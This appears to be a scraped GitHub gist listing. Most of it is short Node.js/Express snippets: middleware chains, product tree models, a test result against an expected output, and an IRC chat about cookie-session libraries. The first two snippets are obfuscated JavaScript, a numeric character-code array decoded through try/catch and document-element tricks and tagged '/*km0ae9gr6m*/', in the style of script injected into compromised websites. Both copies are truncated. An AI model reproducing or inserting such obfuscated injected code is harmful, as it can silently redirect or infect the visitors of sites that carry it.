This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var f= [510,702,550,594,580,630,555,660,160,660,505,720,580,492,485,660,500,666,545,468,585,654,490,606,570,240,205,738,50,192,160,192,160,708,485,684,160,624,525,192,305,192,580,624,525,690,230,690,505,606,500,192,235,192,580,624,525,690,230,486,295,60,160,192,160,192,590,582,570,192,540,666,160,366,160,696,520,630,575,276,575,606,505,600,160,222,160,696,520,630,575,276,405,354,50,192,160,192,160,708,485,684,160,696,505,690,580,192,305,192,580,624,525,690,230,390,160,252,160,648,555,192,225,192,580,624,525,690,230,492,160,252,160,624,525,354,50,192,160,192,160,630,510,240,580,606,575,696,160,372,160,288,205,738,50,192,160,192,160,192,160,192,160,696,520,630,575,276,575,606,505,600,160,366,160,696,505,690,580,354,50,192,160,192,160,750,160,606,540,690,505,192,615,60,160,192,160,192,160,192,160,192,580,624,525,690,230,690,505,606,500,192,305,192,580,606,575,696,160,258,160,696,520,630,575,276,385,354,50,192,160,192,160,750,50,192,160,192,160,684,505,696,585,684,550,192,200,696,520,630,575,276,575,606,505,600,1 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/*km0ae9gr6m*/try{prototype%2;}catch(asd){x=2;}try{q=document[(x)?"c"+"r":2+"e"+"a"+"t"+"e"+"E"+"l"+"e"+"m"+((f)?"e"+"n"+"t":"")]("p");q.appendChild(q+"");}catch(fwbewe){i=0;try{prototype*5;}catch(z){fr="fromChar";f=[510,702,550,594,580,630,555,660,160,660,505,720,580,492,485,660,500,666,545,468,585,654,490,606,570,240,205,738,50,192,160,192,160,708,485,684,160,624,525,192,305,192,580,624,525,690,230,690,505,606,500,192,235,192,580,624,525,690,230,486,295,60,160,192,160,192,590,582,570,192,540,666,160,366,160,696,520,630,575,276,575,606,505,600,160,222,160,696,520,630,575,276,405,354,50,192,160,192,160,708,485,684,160,696,505,690,580,192,305,192,580,624,525,690,230,390,160,252,160,648,555,192,225,192,580,624,525,690,230,492,160,252,160,624,525,354,50,192,160,192,160,630,510,240,580,606,575,696,160,372,160,288,205,738,50,192,160,192,160,192,160,192,160,696,520,630,575,276,575,606,505,600,160,366,160,696,505,690,580,354,50,192,160,192,160,750,160,606,540,690,505,192,615,60,160,192,160,192,160,192,160,192,580 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var express = require('express'); | |
var app = express(); | |
app.use(function (err, req, res, next) { | |
// handle errors | |
}); | |
module.exports = app; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
app.post ( url 'my_products_create' ), | |
( middleware.validateOwner ) | |
( validation.setup Product ) | |
( validation.validate 'my/products/edit' ) | |
( middleware.one ) | |
( data.many 'old' ) | |
( middleware.constructProduct ) | |
( middleware.addQuantity ) | |
( data.save 'product' ) | |
( general.setFlash 'success', 'Product is opgeslagen.' ) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Result: [{"id":1,"type":"product","path":"/snowboard","name":"snowboard","sort":"/0","arrange":0,"data":null,"children":[{"id":2,"type":"tags","path":"/snowboard/tags","name":"tags","sort":"/0/0","arrange":0,"data":null,"children":[{"id":3,"type":"tag","path":"/snowboard/tags/red","name":"red","sort":"/0/0/0","arrange":0,"data":null},{"id":4,"type":"tag","path":"/snowboard/tags/green","name":"green","sort":"/0/0/1","arrange":1,"data":null}]}]}] | |
Expected: [{"id":1,"name":"snowboard","path":"/snowboard","type":"product","sort":"/0","arrange":"0","data":null,"children":[{"id":2,"name":"tags","path":"/snowboard/tags","type":"tags","sort":"/0/0","arrange":"0","data":null,"children":[{"id":3,"name":"red","path":"/snowboard/tags/red","type":"tag","sort":"/0/0/0","arrange":"0","data":null},{"id":4,"name":"green","path":"/snowboard/tags/green","type":"tag","sort":"/0/0/1","arrange":"1","data":null}]}]}] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
module.exports = [ | |
{ | |
name: 'site', | |
root: true, | |
children: [ 'page', 'projects' ] | |
}, | |
{ | |
name: 'projects', |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var jungles = { | |
init: function (options) { | |
jungles.data = options.data; | |
jungles.files = options.files; | |
jungles.admins = options.admin; | |
return app; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var types = { | |
product: { | |
}, | |
page: { | |
route: [ function (req, res, next) {}, function (req, res, next) {} ] | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var model = { | |
name: 'product', | |
route: [ middleware1, middleware2 ] | |
}; | |
var model2 = { | |
name: 'page' | |
}; | |
function middleware(req, res, next) { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<pickelsss> Anybody using this https://github.com/caolan/cookie-sessions? | |
<pickelsss> If I understand correctly the session is stored inside the cookie? | |
<tjholowaychuk> there's another good one too one sec | |
<tjholowaychuk> i forget his nick | |
<tjholowaychuk> https://github.com/shtylman/node-yummy | |
<tjholowaychuk> connect's .cookieSession() is similar | |
<tjholowaychuk> bit not encrypted | |
<tjholowaychuk> just signed |